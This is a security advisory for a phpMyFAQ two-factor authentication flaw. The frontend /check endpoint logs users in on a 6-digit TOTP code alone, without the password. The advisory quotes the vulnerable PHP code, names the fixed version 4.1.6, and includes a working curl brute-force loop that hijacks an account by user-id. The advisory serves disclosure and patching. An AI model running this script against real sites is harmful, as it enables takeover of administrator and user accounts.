GHSA-8gpw-xvpf-hvx5
phpMyFAQ's two-factor authentication login bypasses the password factor
Quick fix
GHSA-8gpw-xvpf-hvx5 — thorsten/phpmyfaq: upgrade to the fixed version with the command below.
composer require thorsten/phpmyfaq:^4.1.6Details
### Summary The public two-factor verification endpoint `POST /check` logs a user in based **solely** on a valid 6-digit TOTP token and a chosen `user-id`. It does **not** require — and is not bound to — a prior successful password authentication. For any account that has 2FA enabled, an unauthenticated attacker can authenticate **without knowing the password**, reducing the account to a single factor (a 6-digit code) that is itself brute-forceable because this endpoint has no lockout (see Finding #2). This is an authentication bypass of the primary credential for all 2FA-protected accounts, including administrators.
### Details `src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283`:
```php #[Route(path: '/check', name: 'public.auth.check', methods: ['POST'])] public function check(Request $request): RedirectResponse { if ($this->currentUser->isLoggedIn()) { return new RedirectResponse(url: './'); }
$token = Filter::filterVar($request->request->get('token'), FILTER_SANITIZE_SPECIAL_CHARS); $userId = (int) Filter::filterVar($request->request->get('user-id'), FILTER_VALIDATE_INT);
if ($userId <= 0) { /* ... */ }
$this->currentUserService->getUserById($userId); // loads attacker-chosen user
if (strlen((string) $token) === 6) { $result = $this->twoFactor->validateToken($token, $userId); if ($result) { $this->currentUserService->twoFactorSuccess(); // full login, no password ever checked return new RedirectResponse(url: './'); } } // ... } ```
`twoFactorSuccess()` performs a complete session login (`src/phpMyFAQ/User/CurrentUser.php:239-247`):
```php public function twoFactorSuccess(): bool { $this->setLoggedIn(true); $this->updateSessionId(true); $this->saveToSession(); $this->setSuccess(true); return true; } ```
There is **no server-side state** (such as a "password already verified for this user" flag) tying the `/check` step to the password step. Compare the admin flow, which does it correctly via a `2fa_pending_user_id` session value set only **after** the password is validated (`src/phpMyFAQ/Controller/Administration/AuthenticationController.php:218-262`) — proving the frontend omission is a regression, not an intended design.
`validateToken()` (`src/phpMyFAQ/User/TwoFactor.php:87-101`) returns `false` when the user has no secret, so this is *not* a universal bypass of all accounts — it specifically defeats the **password factor of every 2FA-enabled account**:
```php public function validateToken(string $token, int $userId): bool { if (strlen($token) !== 6 || $userId <= 0) { return false; } $this->currentUser->getUserById($userId); $secret = $this->currentUser->getUserData('secret'); if (!is_string($secret) || $secret === '') { return false; } // no 2FA -> false return $this->twoFactorAuth->verifyCode($secret, $token); // 6-digit TOTP only } ```
Because `/check` has no failed-attempt lockout and the per-account login throttle is disabled by default (Finding #2), the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to *strengthen* the password, becomes the *only* barrier and is independently guessable.
### PoC Pre-req: a target account (e.g. `admin`) has 2FA enabled (a common hardening choice). The attacker knows or enumerates the numeric `user-id` (1 = first/admin account in default installs).
```bash # No password required. Submit user-id + a 6-digit TOTP guess to /check. # Iterate the token space; the session cookie returned on success is an authenticated session. for code in $(seq -w 0 999999); do curl -ks -c jar.txt -b jar.txt \ -X POST "https://target/check" \ --data-urlencode "user-id=1" \ --data-urlencode "token=$(printf '%06d' 10#$code)" \ -o /dev/null -w "%{http_code} %{redirect_url}\n" \ | grep -q './' && echo "[+] logged in with token $code" && break done # A successful guess yields a logged-in session in jar.txt -> full account takeover (no password used). ``` If the attacker already controls or has phished the victim's TOTP device, a single request authenticates with no password at all.
### Impact Authentication bypass (CWE-287) / missing authentication for a critical step (CWE-306). The password — the primary credential — is never required for any 2FA-enabled account. Combined with the absent lockout, this enables full account takeover of users and administrators. Impacted: any deployment where users enable two-factor authentication.
Are you affected?
Enter the version of the package you're using.
Affected packages
3.2.0Fixed in: 4.1.6composer require thorsten/phpmyfaq:^4.1.63.2.0Fixed in: 4.1.6composer require phpmyfaq/phpmyfaq:^4.1.6References
- https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-8gpw-xvpf-hvx5[WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2026-56737[ADVISORY]
- https://github.com/thorsten/phpMyFAQ/commit/410208b90f1d01534812ac5203d3e8d9c7bd591f[WEB]
- https://github.com/thorsten/phpMyFAQ/commit/5097dff341fb01e93e8561e7261b3ae657df715a[WEB]
- https://github.com/thorsten/phpMyFAQ/commit/6a69f6e2142fde722165c65b7e0a49f3176e87be[WEB]
- https://github.com/thorsten/phpMyFAQ[PACKAGE]
- https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.6[WEB]